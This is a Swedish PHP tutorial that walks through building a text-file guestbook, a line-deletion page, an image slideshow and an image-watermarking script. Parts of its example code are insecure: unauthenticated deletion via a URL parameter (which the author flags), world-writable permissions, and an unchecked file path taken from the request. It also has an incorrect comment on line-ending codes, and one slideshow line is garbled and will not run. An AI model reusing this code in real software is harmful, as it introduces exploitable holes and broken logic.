<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
# funktion som "städar upp" texen så att den skall gå
# att sätta in i filen
function beakta_alla_dumheter( $text )
{
# tag bort alla html tags i texten
$text = strip_tags( $text );
# tag bort alla html tags i texten
$text = strip_tags( $text );
# sätt in <br> tags där det finns <enter> (CRLF)
$text = nl2br( $text );
# Radbyten hanteras lite olika i olika miljöer
# i Unix sätts det in en LF (ascii 13) som i PHP
# betecknas med \n
# medan Windows maskiner sätter in CRLF (ascii 10 + ascii 13)
# som i PHP betecknas med \r\n
# för säkerhets skull tar vi bort bägge
# tag bort eventuella \r ( CR )
$text = str_replace( "\r", "", $text );
# tag bort eventuella \n ( LF )
$text = str_replace( "\n", "", $text );
# byt ut \" till " - jo det skall vara "\\\""
$text = str_replace( "\\\"", "\"", $text );
# tag bort eventuella | tecken
$text = str_replace( "|", "", $text );
# låt funktionen returnera den modifierade texten
return $text;
}
if ( isset( $_REQUEST[ "knapp" ] ) )
{
$vem = $_REQUEST[ "vem" ];
$elpost = $_REQUEST[ "elpost" ];
$ärende = $_REQUEST[ "arende" ];
$texten = $_REQUEST[ "texten" ];
$datum = date("Y.m.d H:i");
$vem = beakta_alla_dumheter( $vem );
$ärende = beakta_alla_dumheter( $ärende );
$elpost = beakta_alla_dumheter( $elpost );
$texten = beakta_alla_dumheter( $texten );
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
# ändrat lite på echo för att visa tydligare vad som skett
echo "Du klickade på Skriv och
följande kommer att sättas i filen<br>";
echo htmlentities ($allt);
}
# all PHP kod som tidigare
# ...
?>
</body>
</html>
OBS! För tillfället bryr vi oss inte om att det kan lämnas tomt i alla textboxar - valideringen kommer senare...
Det är förhållandevis enkelt att läsa filer. Hela Internet går ju ut på att läsa filer och visa dessa. Att skriva är dock lite mer komplicerat.
Kopiera all kod som fiinns i rutan nedan och sätt in i en ny fil som du kallar filtest.php. Prova detta program genom att surfa till detta program på din hemsideskatalog.
<?php
$teststräng = "en liten teststräng";
# Öppna en fil för skrivning
# skapa den vid behov
$filen = fopen ( "testa.txt", "w+" );
# gick det?
if ( $filen )
{
# lås filen så att andra kan läsa men inte skriva
flock( $filen, 1 );
# skriv till filen
fputs ( $filen, $teststräng );
# tag bort låsningen
flock( $filen, 3 );
# stäng filen
fclose ( $filen );
echo "Har skrivit till filen";
}
else
{
echo "Det sket sig!";
}
?>
Om detta program fungerar är allt frid och fröjd, men troligtvis får du följande resultat istället (... kommer att ersättas av din hemkatalogs path):
Warning: fopen("testa.txt", "w+") - Permission denied in
...\tt2.php on line 5
Det sket sig!
Om du fick ett felmeddelande i stil med ovanstående beror detta på att php-programmet inte har rätt att skriva till denna fil. Gör i så fall följande:
(Bägge operativsystemen kräver således att filen finns för att man skall kunna ändra på dess rättigheter. En bättre idé kan vara att sätta alla filer som skall kunna ändras till en underkatalog, och därefter se till att hela katalogen har modifieringsrättigheter.)
Efter att ha gjort ovanstående ändringar i filskyddet för testa.txt kan du prova filtest.php igen. Förhoppningsvis fungerar det nu.
Du kan även prova följande ändringar. Prova programmet flera gånger genom att klicka på refresh i din browser. Tag sedan en titt på vad filen testa.txt innehåller.
<?php
$teststräng = "en liten teststräng";
# Öppna en fil för skrivning
# skapa den vid behov
$filen = fopen ( "testa.txt", "a");
# gick det?
if ( $filen )
{
# lås filen så att andra kan läsa men inte skriva
flock( $filen, 1 );
# skriv till filen
fputs ( $filen, $teststräng . "\r\n");
# tag bort låsningen
flock( $filen, 3 );
# stäng filen
fclose ( $filen );
echo "Har skrivit till filen";
}
else
{
echo "Det sket sig!";
}
?>
Se till att guestbook.txt har skrivrättigheter satt på samma sätt som du satte skrivrättigheter för filen testa.txt. Vill du veta vad 766 egentligen betyder så ta en titt på sidan filerna_fil.php. Dessutom kan det vara skäl att se hur fopen fungerar på sidan filerna_fil3.php
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
function beakta_alla_dumheter( $text )
{
$text = strip_tags( $text );
$text = strip_tags( $text );
$text = nl2br( $text );
$text = str_replace( "\r", "", $text );
$text = str_replace( "\n", "", $text );
$text = str_replace( "\\\"", "\"", $text );
$text = str_replace( "|", "", $text );
return $text;
}
if ( isset( $_REQUEST[ "knapp" ] ) )
{
$vem = $_REQUEST[ "vem" ];
$elpost = $_REQUEST[ "elpost" ];
$ärende = $_REQUEST[ "arende" ];
$texten = $_REQUEST[ "texten" ];
$datum = date("Y.m.d H:i");
$vem = beakta_alla_dumheter( $vem );
$ärende = beakta_alla_dumheter( $ärende );
$elpost = beakta_alla_dumheter( $elpost );
$texten = beakta_alla_dumheter( $texten );
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
# ändrat lite på echo för att visa tydligare vad som skett
echo "Du klickade på Skriv och
följande kommer att sättas i filen<br>";
echo htmlentities ($allt);
# öppna guestbook.txt för "append" = tillägg
$filen = fopen ( "guestbook.txt", "a");
# gick det?
if ( $filen )
{
# lås filen så att andra kan läsa men inte skriva
flock( $filen, 1 );
# skriv till filen \n är för att notepad skall
fputs ( $filen, $allt . "\n");
# tag bort låsningen
flock( $filen, 3 );
# stäng filen
fclose ( $filen );
}
}
# all PHP kod som tidigare
# ...
?>
</body>
</html>
Förhoppningsvis har du nu en hyfsat fungerande gästbok.
Det finns dock två allvarliga buggar + ett litet problem:
Tag en kopia av din fil guestbook.php och kalla kopian för guestcode.php (den skall finnas i samma katalog som guestbook.php och guestbook.txt)
Modifiera sedan guestcode.php så att allt som inte finns innanför <?php och ?> tas bort. Se även till att <?php kommer direkt som första rad / tecken i filen:
<?php
function beakta_alla_dumheter( $text )
{
$text = strip_tags( $text );
$text = strip_tags( $text );
$text = nl2br( $text );
$text = str_replace( "\r", "", $text );
$text = str_replace( "\n", "", $text );
$text = str_replace( "\\\"", "\"", $text );
$text = str_replace( "|", "", $text );
return $text;
}
if ( isset( $_REQUEST[ "knapp" ] ) )
{
$vem = $_REQUEST[ "vem" ];
$elpost = $_REQUEST[ "elpost" ];
$ärende = $_REQUEST[ "arende" ];
$texten = $_REQUEST[ "texten" ];
$datum = date("Y.m.d H:i:s");
$vem = beakta_alla_dumheter( $vem );
$ärende = beakta_alla_dumheter( $ärende );
$elpost = beakta_alla_dumheter( $elpost );
$texten = beakta_alla_dumheter( $texten );
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
$filen = fopen ( "guestbook.txt", "a");
if ( $filen )
{
flock( $filen, 1 );
fputs ( $filen, $allt . "\n");
flock( $filen, 3 );
fclose ( $filen );
}
}
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $rad )
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
Modifiera sedan gustbook.php så att all php-kod tas bort:
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
</body>
</html>
Du har nu två php-filer: en med alla php kod och en med all html kod.
Ändra sedan guestcode.php så att gästbokslistningen blir till en funktion:
<?php
function beakta_alla_dumheter( $text )
{
$text = strip_tags( $text );
$text = strip_tags( $text );
$text = nl2br( $text );
$text = str_replace( "\r", "", $text );
$text = str_replace( "\n", "", $text );
$text = str_replace( "\\\"", "\"", $text );
$text = str_replace( "|", "", $text );
return $text;
}
if ( isset( $_REQUEST[ "knapp" ] ) )
{
$vem = $_REQUEST[ "vem" ];
$elpost = $_REQUEST[ "elpost" ];
$ärende = $_REQUEST[ "arende" ];
$texten = $_REQUEST[ "texten" ];
$datum = date("Y.m.d H:i:s");
$vem = beakta_alla_dumheter( $vem );
$ärende = beakta_alla_dumheter( $ärende );
$elpost = beakta_alla_dumheter( $elpost );
$texten = beakta_alla_dumheter( $texten );
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
$filen = fopen ( "guestbook.txt", "a");
if ( $filen )
{
flock( $filen, 1 );
fputs ( $filen, $allt . "\n");
flock( $filen, 3 );
fclose ( $filen );
}
}
function visa_gästboken()
{
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $rad )
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
}
?>
Ändra sedan guestbook.php på följande sätt:
<?php
include_once("guestcode.php");
# säkrare version kan vara:
# include_once( dirname(__FILE__) . "/guestcode.php");
?>
<html>
<head>
<title>En gästbok</title>
</head>
<body>
<form>
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
visa_gästboken();
?>
</body>
</html>
Dess ändringar gör php-koden mer modulär och html-koden blir enklare att editera i en vanlig html-editor. Dessutom kan man nu dela upp projektet så att en person skriver php och en annan skriver html; en ack så viktig finess...
Problemet är ju att URL i adressfältet är guestbook.php?vem=aa&...
efter att vi skrivit i gästboken, och om vi laddar om sidan är
det ju denna url som laddas.
Vi borde således "tömma" adressen från alla
parametrar efter att vi skrivit till filen. Det går dock inte
att tömma dessa i efterskott. Det är däremot helt möjligt
att ladda sidan på nytt, man denna gång utan parametrar.
Detta görs med några rader på lämpligt ställe,
se nedan:
<?php
function beakta_alla_dumheter( $text )
{
$text = strip_tags( $text );
$text = strip_tags( $text );
$text = nl2br( $text );
$text = str_replace( "\r", "", $text );
$text = str_replace( "\n", "", $text );
$text = str_replace( "\\\"", "\"", $text );
$text = str_replace( "|", "", $text );
return $text;
}
if ( isset( $_REQUEST[ "knapp" ] ) )
{
$vem = $_REQUEST[ "vem" ];
$elpost = $_REQUEST[ "elpost" ];
$ärende = $_REQUEST[ "arende" ];
$texten = $_REQUEST[ "texten" ];
$datum = date("Y.m.d H:i:s");
$vem = beakta_alla_dumheter( $vem );
$ärende = beakta_alla_dumheter( $ärende );
$elpost = beakta_alla_dumheter( $elpost );
$texten = beakta_alla_dumheter( $texten );
$allt = $datum . "|" . $vem . "|" . $elpost . "|" .
$ärende . "|" . $texten ;
$filen = fopen ( "guestbook.txt", "a");
if ( $filen )
{
flock( $filen, 1 );
fputs ( $filen, $allt . "\n");
flock( $filen, 3 );
fclose ( $filen );
}
# ladda sidan på nytt - men utan några ULR parametrar
# du får INTE skriva något till sidan innan du sätter
# header
# OBS! Stora L i Location och EXAKT ett
# mellanslag efter :
header("Location: guestbook.php");
exit;
}
function visa_gästboken()
{
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $rad )
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
}
?>
Location modifierar headern på sidan. Tag en titt på följande länk (location.php) där jag visar allt - inklusive headern - som sänds från servern för två sidor, den ena är en sida som finns, medan den andra är en sida som "redirectar" till en annan sida. Observera att Location: är satt på den andra sidan.
När browsern stöter på Location i headern så kommer den att ladda den url som där anges, utan att fortsätta med sidan. Det är detta vi simulerar genom att sätta Header("Location: guestbook.php")
Den enklaste formen av validering är att låta JavaScript sköta om detta redan på klienten. Se även Uppgift 1.5 (ep1.php)
<?php
include_once("guestcode3.php");
?>
<html>
<head>
<title>En gästbok</title>
<script>
<!--
function kolla()
{
// kontrollera om det står något i formen med namnet
// myform och textboxen vem
if (document.myform.vem.value.length == 0)
{
alert("Du måste ange namn.");
return false;
}
if (document.myform.elpost.value.length == 0)
{
alert("Du måste ange elpost.");
return false;
}
if (document.myform.arende.value.length == 0)
{
alert("Du måste ange ärende.");
return false;
}
if (document.myform.texten.value.length == 0)
{
alert("Du måste ange ärende.");
return false;
}
}
//-->
</script>
</head>
<body>
<form name="myform" onsubmit="return kolla();">
<table border="1">
<tr><td>Namn:</td><td>
<input type="text" name="vem">
</td></tr>
<tr><td>Elpost:</td><td>
<input type="text" name="elpost">
</td></tr>
<tr><td>Ärende:</td><td>
<input type="text" name="arende">
</td></tr>
<tr><td>Text:</td>
<td>
<textarea name="texten" rows="5" cols="40"></textarea>
</td></tr>
<tr><td> </td><td>
<input type="submit" name="knapp" value=" Skriv ">
</td></tr>
</table>
</form>
<?php
visa_gästboken();
?>
</body>
</html>
Jag antar att du nu har gått igenom alla steg, och dessutom försökt lista ut vad alla delar av programmet gör - har du inte eller vet du inte går du först igenom alla tidigare delar en gång till.
Jag vill sedan att du skall göra följande:
[ Utskriftsversion av denna uppgift ]
För att testa om man förstår kod kan man med fördel ta ett projekt, strippa ner det till "bare bones" för att sedan börja bygga upp det på nytt med ny funktionalitet.
För att testa detta vill jag att du gör följande:
Du kan, förutom den kod som finns i uppgift 2, ha nytta av följande php-funktioner:
strcasecmp (se strings_van.php#strcmp)
substr (se strings_van.php#substr)
[ Utskriftsversion av denna uppgift ]
OBS! DENNA KOD ÄR FÖR TILLFÄLLET UTAN AUTENTICERING
AV ANVÄNDAREN. DETTA BETYDER ATT OM NI VILL PROVA DEN PÅ
VERKLIGT DATA SKALL NI SE TILL ATT ÄVEN STUDERA SIDAN OM
AUTENTICERING (aut.php)
Jag sätter bara ut detta eftersom en studerande var så
desperat att få koden för raderingar i filer (och han vet
hur man autenticerar med .htaccess med Apache)
OBS! Senare i denna uppgift kommer ni att ha möjlighet att radera hela min guestbook.txt. Klicka här för att skapa den på nytt om så behövs.
Vi behöver troligtvis kunna radera i filen. Detta projekt börjar på samma sätt som gästboken, och koden nedan är direkt tagen från gästboksexemplet tidigare, men med två modifieringar som är markerade med fetstil. Se till att du skapar en ny fil för detta php-program, vi börjar inte komplicera gästboken ytterligare. Denna uppgift förutsätter att du har en guestbook.txt fil...
<?php
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# sortera i omvänd ordning
arsort($innehållet);
echo "<table border=\"1\">\n";
# ändrad rad nedan
foreach( $innehållet as $index=>$rad)
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# plocka ut de olika delarna av datumet och plocka
# ihop dem igen i rätt ordning
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
# ny rad nedan
echo "<tr><td>Rad nr " . $index . " i filen</td></tr>\n";
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
Rad nr 1 i filen |
02.9.2003 12:23 |
Ms Y |
mry@where.com |
test |
testar bara |
Rad nr 0 i filen |
02.9.2003 12:23 |
Mr X |
mrx@some.com |
Hej... |
...på dej |
Observera att $index säger vilken rad det är i filen, och att även om vi sorterar filen i minnet så är $index ändå korrekt. Detta kan vi dra nytta av.
Vi behöver plocka ihop klickbara länkar - en per rad i filen.
<?php
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# sortera i omvänd ordning
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $index=>$rad)
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# plocka ut de olika delarna av datumet och plocka
# ihop dem igen i rätt ordning
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
# ändrad rad nedan
echo "<tr><td><a href=\"" .
$_SERVER[ "PHP_SELF" ] .
"?rad=" .
$index .
"\">Rad nr " .
$index .
" i filen - Klicka för radering</a></td></tr>\n";
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
Ovanstående kod behöver säkert förklaras ytterligare.
$_SERVER[ "PHP_SELF" ] är en inbyggd variabel som säger vad nuvarande fil har för namn. Om ni kallade programfilen för radera.php kommer således $_SERVER["PHP_SELF"] att innehålla "radera.php"
(I praktiken kan man faktiskt lämna bort filnamnet helt och bara köra "?rad=.." direkt för att åberopa samma fil...)
Det vi börjar plocka ihop är då:
<tr><td><a href="radera.php?rad=1">Rad nr 1 i filen...</a></td></tr>
där kursivt markerar sådant som plockas in från php variabler
Om ni provar klicka på den länken som då skapats ser ni att ni får fram samma fil, men med ?rad=1 i slutet av URL. Detta värde går då att fånga upp och göra någonting av.
Det är rätt krävande att radera en rad ur en fil. Mycket enklare blir det om vi läser in filen i minnet, plockar bort en rad, och därefter sparar tillbaka allt tillbaka till filen. Det är den metoden som kommer att användas i denna uppgift. Desutom har vi ju redan koden som läser in hela filen in i minnet, så det blir bara att fortsätta därifrån. Vi har även skrivit till filer i tidigare uppgift, så det enda riktigt nya blir att plocka bort en rad ur en array. Till detta behöver vi array_splice och lite kreativitet.
<?php
$innehållet = file ( "guestbook.txt" ) Or Die("Kunde inte öppna filen");
# kontrollera om det fanns rad= i url
if (isset ( $_REQUEST[ "rad" ] ) )
{
# filen är ju redan öppnad och finns färdigt i
# en array med namnet $innehållet
# tag bort en rad ur arrayen - vilken rad framgår
# ju ur $_REQUEST[ "rad" ]
array_splice( $innehållet, $_REQUEST[ "rad" ], 1);
# nu är en rad bortplockad ur arrayen - spara den
# till filen på nytt
# observera att vi inte skall lägga till i filen
# utan skriva om den helt - därför "w"
$filen = fopen ( "guestbook.txt", "w" );
if ( $filen )
{
# lås filen så att andra kan läsa men inte skriva
flock( $filen, 1 );
# skriv hela arrayen till filen
foreach( $innehållet as $rad)
{
fputs ( $filen, $rad );
}
# tag bort låsningen
flock( $filen, 3 );
# stäng filen
fclose ( $filen );
# öppna filen på nytt
$innehållet = file ( "guestbook.txt" )
Or Die("Kunde inte öppna filen");
}
}
# sortera i omvänd ordning
arsort($innehållet);
echo "<table border=\"1\">\n";
foreach( $innehållet as $index=>$rad)
{
$fälten = explode( "|", $rad );
$datum = $fälten[ 0 ];
$vem = $fälten[ 1 ];
$elpost = $fälten[ 2 ];
$ärende = $fälten[ 3 ];
$texten = $fälten[ 4 ];
# plocka ut de olika delarna av datumet och plocka
# ihop dem igen i rätt ordning
$datum = substr($datum, 8, 2) . "." .
(int) substr($datum, 5, 2) . "." .
(int) substr($datum, 0, 4) . " " .
substr($datum, 11);
echo "<tr><td><a href=\"" .
$_SERVER[ "PHP_SELF" ] . "?rad=" .
$index .
"\">Rad nr " .
$index .
" i filen - Klicka för radering</a></td></tr>\n";
echo "<tr><td>" . $datum . "</td></tr>\n";
echo "<tr><td>" . $vem . "</td></tr>\n";
echo "<tr><td><a href=\"mailto:" . $elpost . "\">";
echo $elpost . "</a></td></tr>\n";
echo "<tr><td>" . $ärende . "</td></tr>\n";
echo "<tr><td>" . $texten . "</td></tr>\n";
}
echo "</table>\n";
?>
Se mer om array_splice i array-splice
Tag dessutom gärna en titt på array
OBS! I ovanstående exemepel har ni möjlighet att radera hela min guestbook.txt. Klicka här för att skapa den på nytt om så behövs.
[ Utskriftsversion av dessa uppgifter ]
För denna uppgift behöver du några stycken bilder av samma storlek. På grund av licensproblem med gif-filer så stöds inte dessa i nyare php versioner, så se gärna till att bilderna är av typen jpeg eller png. (Om du vill veta varför - klicka här). För de saker vi skall göra i denna övning duger dock gif bra.
Skapa en katalog med namnet pictures, som du sätter under din php katalog. Se till att där finns etta antal bilder (använd mina exempelbilder om du inte hittar några lämpliga). För att förbereda oss för kommande kod kan det vara bra att se till att denna katalog har read och writerättigheter (=777).
I sin enklaste form kan vi göra ett program som helt enkelt tar alla bilder i katalogen och visar dessa. Vi skall senare bygga ut detta program med mer funktionalitet, men för att komma i gång nöjer vi oss med att kunna visa bildfilernas namn. getimagesize funktionen används för att få info om builder och fungerar bara med bildfiler. Detta använder vi för att kontrollera om det var en bildfil. (Senare kommer vi att ha ännu mer nutta av funktionen)
<?php
# öppna kalatlogen som finns under vår programkatalog
$pictureDir = opendir("./pictures");
# loopa genom kalatlogen
while ($filNamn = readdir ( $pictureDir ) )
{
# visar bara namnen
echo $filNamn;
echo "<br />\r\n";
}
# stäng katalogen
closedir( $pictureDir );
?>
Ovastående kod visar alla filer i katalogen men även . och .. Dessutom visas eventuella andra filer i katalogen. Detta måste vi åtgärda genom att kontrollera om det faktiskt är en bildfil som det är frågan om.
<?php
$pictureDir = opendir("pictures");
# loopa genom den
while ($filNamn = readdir ( $pictureDir ) )
{
# kontrollera att det är en bildfil
# vi skulle kunna kolla med is_file + kontroll av
# filtypen men istället använder vi
# getimagesize som fungerar endast för jpeg, png och gif
# För att indvika felmeddelanden om det inte är en bildfil så
# sätter vi @ före funktionen -> bortkopplad felhantering
if ( $bildinfo = @getimagesize( "./pictures/" . $filNamn ) )
{
echo $filNamn;
echo "<br />\r\n";
}
}
closedir( $pictureDir );
?>
Nu när vi vet vilka bilder vi har kan vi sätta in kod för att visa dessa. Nedan
<?php
$pictureDir = opendir("pictures");
# loopa genom den
while ($filNamn = readdir ( $pictureDir ) )
{
if ( $bildinfo = @getimagesize( "./pictures/" . $filNamn ) )
{
# se till att katalogen sätts med i src attributet
# och se till att en korrekt html img tag plockas ihop
echo "<img src=\"./pictures/" .
$filNamn .
"\">";
echo "<br />\r\n";
}
}
closedir( $pictureDir );
?>
Man skall alltid sätta width och height för img taggen, eftersom detta gör det lättare för browsern att optimera sidvisningen. PHP har beaktat detta genom att ha en speciell getimagesize funktion som kan göra detta åt oss. Vi har redan använt den för att kontrollera om det var en bildfil - nu skall vi även använda dess returvärde.
<?php
$pictureDir = opendir("pictures");
while ($filNamn = readdir ( $pictureDir ) )
{
if ( $bildinfo = @getimagesize( "./pictures/" . $filNamn ) )
{
# getimagesize returnerar en array som innehåller följande
# 0 - bredd i pixel
# 1 - höjd i pixel
# 2 - typ (gif=1, jpeg=2 och png=3)
# 3 - färdigt preparerad width="xx" och height="xx"
# som vi kan använda direkt i img taggen
# "bits" - "Bits per sample" för jpeg bilder
# "channels" - "Samples per pixels" för jpeg
echo "<img src=\"./pictures/" .
$filNamn .
"\" " .
$bildinfo[3] .
">";
echo "<br />\r\n";
# för att visa lite vad getimagesize ger så visar jag dess här
foreach( $bildinfo as $vad=>$värde)
{
echo $vad . " = " . $värde . "<br>\r\n";
}
}
}
closedir( $pictureDir );
?>
Idén bakom en slideshow är följande:
För att implementera detta behöver vi göra följande:
Nedan finns kod som beaktar detta:
<?php
$pictureDir = opendir("pictures");
# ny kod
while ($filNamn = readdir ( $pictureDir ) )
{
# läser in filnamnen i en array istället
# så vi kan manipulera dem senare
if ( $bildinfo = @getimagesize( "./pictures/" . $filNamn ) )
{
$bildarray[] = $filNamn;
}
}
closedir( $pictureDir );
# kontrollera om det fanns ?vilken= i adressens url
if ( ! isset ( $_REQUEST[ "vilken" ] ) )
{
# om inte skall vi börja med att visa den första bilden (=0)
$vilkenbild = 0;
}
else
{
# i annat fall skall vi visa en annan bild
# om text url var ?vilken=2 skall den tredje bilden visas
$vilkenbild = $_REQUEST[ "vilken" ];
}
# preparerar färdigt föregående och nästa bilds nummer
$förrabilden = $vilkenbild - 1;
$nästabild = $vilkenbild + 1;
# lite felhantering:
# om det står ?vilken=999 i url men vi bar har 3 bilder
# så visar vi den första bilden istället
if ( $vilkenbild >= count( $bildarray ) )
$vilkenbild = 0 ;
# om vi inte är på första bilden
if ( $vilkenbild > 0)
{
# så kan vi sätta en länk till den föregående bilden
echo " <a href=\"?vilken=" .
$förrabilden . "\"><<</a>\r\n";
}
else
{
# i annat fall lämnar vi bara lite plats
# med några mellanslag
echo " ";
}
# loopa genom arrayen
for( $i = 0; $i < count( $bildarray ) ; $i++)
{
# vi vill visa 1, 2, 3, osv och inte 0,1,2 som
# är de nummer som egentligen används för
# indexering i arrayen
$visatnummer = $i+1;
# om den nuvarande loopens nummer är
# samma som nuvarande bilds nummer
if ( $vilkenbild == $i )
{
# så sätter vi bara ut numret men inte som länk
echo " <b>" . $visatnummer . "</b>\r\n";
}
else
{
# i annat fall sätter vi en länk till bild nr. $i
echo " <a href=\"?vilken=" . $i . "\">" .
$visatnummer . "</a>\r\n";
}
}
# kontrollera om vi visar sista bilden
if ( $vilkenbild < count( $bildarray ) - 1 )
{
# och sätt ut en länk till nästa bild
# om vi inte redan visar sista bilden
echo " <a href=\"?vilken=" .
$nästabild . "\">>></a>\r\n";
}
echo "<br>\r\n";
# nya koden slut
# nedan är den kod som fanns i föregående exemplet
# loopa genom den
while ($filNamn = readdir ( $pictureDir ) )
{
if( $bildinfo = @getimagesize( "./pictures/" .
$filNamn $bildarray[ $vilkenbild ]) )
{
echo "<img src=\"./pictures/" .
$filNamn
$bildarray[ $vilkenbild ] .
"\" " .
$bildinfo[3] .
">";
echo "<br />\r\n";
}
}
closedir( $pictureDir );
?>
I sidan om uppladdning av filer (upload1.php)
finns det beskrivet hur man kan ladda upp filer till webbsajten. Tillämpa
det som står där med beaktande av följande:
OBS! Denna del är inte obligatorisk att utföra. Jag kunde bara inte hålla mig från att visa lite av de möjligheter som php ger oss med bilder.
Oftast brukar man sätta in bilder med hälp av <img src="bildens.fil">, men ingenting hindrar att bilden skapas eller manipuleras av ett php program. Nedan finns ett exempel på vad som går att göra. Spara nedanstående kod som visabild.php. Du kan sedan skriva <din web adress>/visabild.php?bild=<en bild>.
Prova exemplen nedan (kontrollera properties för sidan/bilden
- observera att det är en png bild du har fått - inte
en jpeg):
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<img src="visabild.php?bild=pictures/sun.jpg" width="0" height="0">
</body>
</html>
Se mer i image
<?php
# kontrollera om det fanns ?bild= i adressraden
# samt om gd-library är tillgängligt
if ( isset( $_REQUEST[ "bild" ] ) and checkExtension( "gd" ) )
{
# parametarn antas vara bildfilens namn
$filen = $_REQUEST[ "bild" ] ;
# kan man läsa in denna bild
if ( $image = @imagecreatefromjpeg ( $filen ) )
{
# det gick att ladda bilden
# skapa en copyright sträng
$sträng = "(c) anders, 2003";
# skapa en färg
